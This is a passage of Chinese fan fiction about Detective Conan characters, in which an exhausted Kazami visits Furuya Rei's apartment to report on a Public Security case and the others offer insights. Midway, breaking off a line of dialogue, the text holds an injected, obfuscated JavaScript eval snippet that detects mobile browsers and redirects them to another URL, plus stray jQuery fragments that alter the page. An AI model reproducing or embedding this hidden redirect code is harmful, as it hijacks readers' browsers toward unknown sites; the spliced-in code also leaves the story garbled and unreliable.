出院后第三周的某个周六下午,阳光懒洋洋地洒在公寓客厅。萩原研二和松田阵平在沙发上为最新发售的游戏激烈厮杀(或者说互相坑害),手柄按键声和骂声(主要是松田)不绝于耳。伊达航靠在单人沙发里,膝盖上摊着本厚厚的案件卷宗,眉头微蹙。诸伏景光在开放式厨房里,一边听着舒缓的爵士乐,一边有条不紊地处理晚餐食材,偶尔含笑看一眼客厅的“战场”。萩原千速则霸占了阳台的躺椅,戴着眼罩补眠——昨晚处理一起跨区交通事故,忙到凌晨。
降谷零坐在客厅地毯的软垫上,背靠着沙发,腿上盖着薄毯,面前的小桌上摊着几本医学期刊和复健指南,但他看进去的不多。他的目光更多地落在手机屏幕上——一部外观普通的智能手机,上面正显示着一些经过重重加密才能看到的、关于港口区“海鸟观测站”的后续监控摘要。琴酒给的“留意老鼠”的任务像根刺,而公安这边对同一区域的关注也让他必须更加小心地平衡情报。
气氛是少有的、带着点慵懒的平和。直到门铃声突兀地响起,打破了这片喧闹中的宁静。
“嗯?这个点谁啊?”萩原研二暂停游戏,疑惑地看向门口。
“大概是快递?”伊达航头也不抬。
诸伏景光擦了擦手,走过去透过猫眼看了一眼,随即露出了有些惊讶的表情,回头道:“零,是风见先生。”
降谷零眉头几不可察地蹙了一下。风见知道他在这里,但除非紧急,不会直接上门。他迅速锁掉手机屏幕,调整了一下坐姿,让自己看起来更“伤员”一些。“让他进来吧,景光。”
门打开,风见裕也出现在门口。他穿着皱巴巴的西装,头发似乎比上次见面时更稀疏了几分,眼镜歪斜地架在鼻梁上,眼下是浓重的、堪比熊猫的乌青。他怀里抱着一个鼓鼓囊囊、塞满了文件夹的公文包,另一个手里还提着一个看起来就很沉的笔记本电脑包。整个人散发着一种“被工作吸干了精气”的、浓郁的牛马哀怨气息,与公寓里慵懒放松的氛围格格不入。
看到开门的诸伏景光,风见立刻条件反射般地站直,推了推眼镜,试图让自己看起来体面一点:“诸、诸伏先生,下午好,打扰了。”
“下午好,风见先生,请进。”景光侧身让他进来,温和地笑了笑。
风见踏进玄关,目光迅速扫过客厅——看到沙发上拿着手柄、眼神不善的松田和一脸好奇的萩原,看到看卷宗的伊达航,看到阳台躺椅上似乎睡着的千速,最后,定格在坐在地毯上、表情平静看着他的降谷零身上。
“降、降谷先生!”风见几乎是瞬间进入了工作状态,但又因为身处这个过于“生活化”且人员复杂的环境而显得更加局促。他抱着沉重的包,像个误入别人家派对的书呆子。
“风见,什么事?”降谷零的声音响起,带着惯常的平稳,但或许是在“家”里的缘故,少了几分在公安大楼里的冷硬。
“是、是这样的……”风见语速飞快,试图简明扼要地汇报,但因为紧张和疲惫有点磕巴,“关于港口区S-7情报线,那个加密通讯中转节点的破译工作遇到了瓶颈,技术组尝试了所有常规和备用方案,但对方使用的是一种新型的、基于量子密码学原理改良的混合算法,我们现有的算力和破译库……还有,国际刑警那边的威廉姆斯警督坚持要就上月的情报交换备忘录细节与您亲自进行视频确认,他说他只相信您的判断,我、我试图协调,但他非常固执……另外,上周您让我留意的那几家空壳公司的资金异动,初步分析报告已经出来了,但其中一笔跨境流动的追踪在开曼群岛遇到了‘合规壁垒’,需要更高级别的授权或者……一些‘非正式’渠道,这个我无法决断……”
他一口气说下来,中间几乎没换气,脸都憋得有点红,然后眼巴巴地看着降谷零,眼镜片后的眼睛里写满了“救救我”“要死了”“撑不住了”。
客厅里一片寂静。只有游戏里“Game Over”的音乐在尴尬地回荡。
松田阵平放下了手柄,墨镜后的眼睛饶有兴致地在风见和降谷零之间来回扫视。萩原研二瞪大了眼睛,小声对松田说:“哇,这就是传说中的风见裕也?比传闻中还……嗯,有特色。”
伊达航也合上了卷宗,打量着这位看起来被工作折磨得够呛的公安同僚。连阳台上的千速都摘下了半边眼罩,斜睨过来。
诸伏景光体贴地接过风见手里摇摇欲坠的笔记本电脑包:“风见先生,先坐下喝杯水吧,慢慢说。” 他把风见引到餐桌旁的椅子上。
风见如蒙大赦,但又不敢真的放松,只坐了半边椅子,背挺得笔直,公文包紧紧抱在怀里。
降谷零揉了揉眉心。他知道风见工作认真负责,但有时过于谨慎和……嗯,容易紧张。尤其是在他面前。看着风见那副明明比自己还大一岁,却总像面对教导主任的小学生般的模样,在“家”这个环境里,忽然觉得有点好笑,又有点……不该有的心软?
“算法的问题,我之前看过概要,有些想法。威廉姆斯警督那边,约明天上午十点,我线上接入。开曼群岛的资金追踪,”
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17296867|198572||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
降谷零顿了顿,思考了一下,“用‘渠道C’的备用联络方式,提我的代号,他们会提供有限协助。报告给我看看。”
“是、是!”风见立刻手忙脚乱地打开公文包,翻找文件,纸张哗啦啦响。因为太急,一份文件滑落在地。
坐在附近的萩原研二“热心”地帮他捡起来,瞥了一眼封面上密密麻麻的加密标签和图表,眨了眨眼:“哇哦,看起来好复杂。风见先生你平时就处理这些啊?辛苦了辛苦了!”
“还、还好,职责所在。”风见接过文件,脸更红了,不知是因为忙碌还是被“围观”。
松田阵平不知何时溜达了过来,靠在餐桌边,拿起风见刚刚掏出来的、关于那个加密算法的初步分析报告,快速扫了几眼。“啧,”他发出一个意味不明的音节,指着其中一行代码结构图,“这个地方,你们的思路错了。这不是单纯的量子加密延伸,这里面嵌套了至少两层冗余校验和一套自毁逻辑,如果强行用算力去撞,触发了自毁,数据就全废了。而且,看这个信号转换模式……” 他又往后翻了几页,“跟三年前我拆过的一个、被恐怖分子用来遥控简易□□的通讯模块的加密逻辑有七成相似,不过那个更粗糙。你们技术组是不是没人有实战拆弹……咳,接触过类似实战环境逆向工程的经验?”
风见愣住了,呆呆地看着松田,又看看松田手指的地方,下意识地推了推眼镜,凑近仔细看:“实、实战逆向?可这是通讯加密……”
“原理相通。”松田把报告扔回桌上,抱着手臂,“破坏性拆解和建设性破解,有时候思路是反的。你们总想着怎么‘打开’它,没想过如果这东西是个‘炸弹’,怎么在它‘炸’之前,把引信拆了,或者……让它以为自己已经‘炸’了,但实际数据还留着。”
风见眼睛瞪大了,似乎在努力理解这个匪夷所思的比喻。降谷零也若有所思地看向松田。
“还有这个资金流向,” 伊达航不知何时也走了过来,拿着另一份报告,指着开曼群岛那边提到的某个中间人名字,“‘老杰’?我好像有点印象。五年前一桩跨国诈骗案,有个洗钱环节的接头人代号就是‘老杰’,后来那案子因为证据不足,主犯潜逃,但几个下线落了网,其中有个会计师,判了三年,前年刚出来。我看看……” 他回忆了一下,拿出自己的手机翻了翻通讯录,“我好像还留着当时负责外围调查的一个国际刑警联络官的电话,虽然不是直接管这个的,但说不定能提供点‘老杰’现在的活动范围或者习惯手法。这类人,习惯很难改。”